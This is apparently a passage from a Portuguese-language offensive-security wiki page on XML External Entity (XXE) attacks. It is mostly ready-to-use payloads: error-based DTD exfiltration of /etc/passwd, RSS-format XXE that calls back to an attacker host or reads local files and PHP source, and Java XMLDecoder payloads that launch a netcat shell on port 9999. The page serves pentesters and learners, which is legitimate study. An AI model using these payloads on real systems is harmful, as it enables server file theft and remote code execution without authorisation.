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Exfiltração de Dados Baseada em Erros Para superar essa limitação, é empregada uma abordagem baseada em erros. O arquivo DTD é estruturado da seguinte forma para acionar um erro que inclui dados de um arquivo alvo:
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```xml
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<!ENTITY % data SYSTEM "file:///etc/passwd">
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<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
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|
%foo;
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%xxe;
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```
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|
O servidor responde com um erro, refletindo a inexistência do arquivo, indicando que o servidor está tentando acessar o arquivo especificado:
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|
```javascript
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|
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
|
```
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|
Para incluir o conteúdo do arquivo na mensagem de erro, o arquivo DTD é ajustado:
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```xml
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|
<!ENTITY % data SYSTEM "file:///etc/passwd">
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|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
|
%foo;
|
|
%xxe;
|
|
```
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|
Esta modificação leva à exfiltração bem-sucedida do conteúdo do arquivo, conforme refletido na saída de erro enviada via HTTP. Isso indica um ataque bem-sucedido de XXE (Entidade Externa XML), aproveitando técnicas Out of Band e Error-Based para extrair informações sensíveis.
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## RSS - XEE
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XML válido com formato RSS para explorar uma vulnerabilidade de XXE.
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### Ping de retorno
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|
Solicitação HTTP simples para o servidor do atacante
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```xml
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|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
|
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
|
|
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
|
<channel>
|
|
<title>XXE Test Blog</title>
|
|
<link>http://example.com/</link>
|
|
<description>XXE Test Blog</description>
|
|
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
|
|
<item>
|
|
<title>&xxe;</title>
|
|
<link>http://example.com</link>
|
|
<description>Test Post</description>
|
|
<author>author@example.com</author>
|
|
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
|
|
</item>
|
|
</channel>
|
|
</rss>
|
|
```
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|
### Ler arquivo
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XML External Entity (XXE) é uma vulnerabilidade que permite a um atacante ler arquivos no servidor. O atacante pode explorar essa vulnerabilidade enviando um XML malicioso que faz referência a um arquivo no servidor, e o servidor responde com o conteúdo desse arquivo.
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|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
|
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
|
<channel>
|
|
<title>The Blog</title>
|
|
<link>http://example.com/</link>
|
|
<description>A blog about things</description>
|
|
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
|
|
<item>
|
|
<title>&xxe;</title>
|
|
<link>http://example.com</link>
|
|
<description>a post</description>
|
|
<author>author@example.com</author>
|
|
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
|
|
</item>
|
|
</channel>
|
|
</rss>
|
|
```
|
|
### Ler código fonte
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|
Usando filtro base64 do PHP
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|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
|
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
|
|
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
|
<channel>
|
|
<title>The Blog</title>
|
|
<link>http://example.com/</link>
|
|
<description>A blog about things</description>
|
|
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
|
|
<item>
|
|
<title>&xxe;</title>
|
|
<link>http://example.com</link>
|
|
<description>a post</description>
|
|
<author>author@example.com</author>
|
|
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
|
|
</item>
|
|
</channel>
|
|
</rss>
|
|
```
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|
## Java XMLDecoder XEE para RCE
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|
XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se um usuário malicioso pode fazer com que um aplicativo use dados arbitrários em uma chamada ao método **readObject**, ele instantaneamente obterá execução de código no servidor.
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|
### Usando Runtime().exec()
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```xml
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|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
|
<object class="java.lang.Runtime" method="getRuntime">
|
|
<void method="exec">
|
|
<array class="java.lang.String" length="6">
|
|
<void index="0">
|
|
<string>/usr/bin/nc</string>
|
|
</void>
|
|
<void index="1">
|
|
<string>-l</string>
|
|
</void>
|
|
<void index="2">
|
|
<string>-p</string>
|
|
</void>
|
|
<void index="3">
|
|
<string>9999</string>
|
|
</void>
|
|
<void index="4">
|
|
<string>-e</string>
|
|
</void>
|
|
<void index="5">
|
|
<string>/bin/sh</string>
|
|
</void>
|
|
</array>
|
|
</void>
|
|
</object>
|
|
</java>
|
|
```
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|
### ProcessBuilder
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|
|
|
### ProcessBuilder
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
|
<void class="java.lang.ProcessBuilder">
|
|
<array class="java.lang.String" length="6">
|
|
<void index="0">
|
|
<string>/usr/bin/nc</string>
|
|
</void>
|
|
<void index="1">
|
|
<string>-l</string>
|
|
</void>
|
|
<void index="2">
|
|
<string>-p</string>
|
|
</void>
|
|
<void index="3">
|
|
<string>9999</string>
|
|
</void>
|
|
<void index="4">
|
|
<string>-e</string>
|
|
</void>
|
|
<void index="5">
|
|
<string>/bin/sh</string>
|
|
</void>
|
|
</array>
|
|
<void method="start" id="process">
|
|
</void>
|
|
</void>
|
|
</java>
|
|
```
|
|
## Ferramentas
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|
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
|
|
|
## Referências
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|
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
|
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
|
* Extrair informações via HTTP usando DTD externo próprio: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
|
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
|
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
|
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
|
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
|
|
|
<details>
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|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras formas de apoiar o HackTricks:
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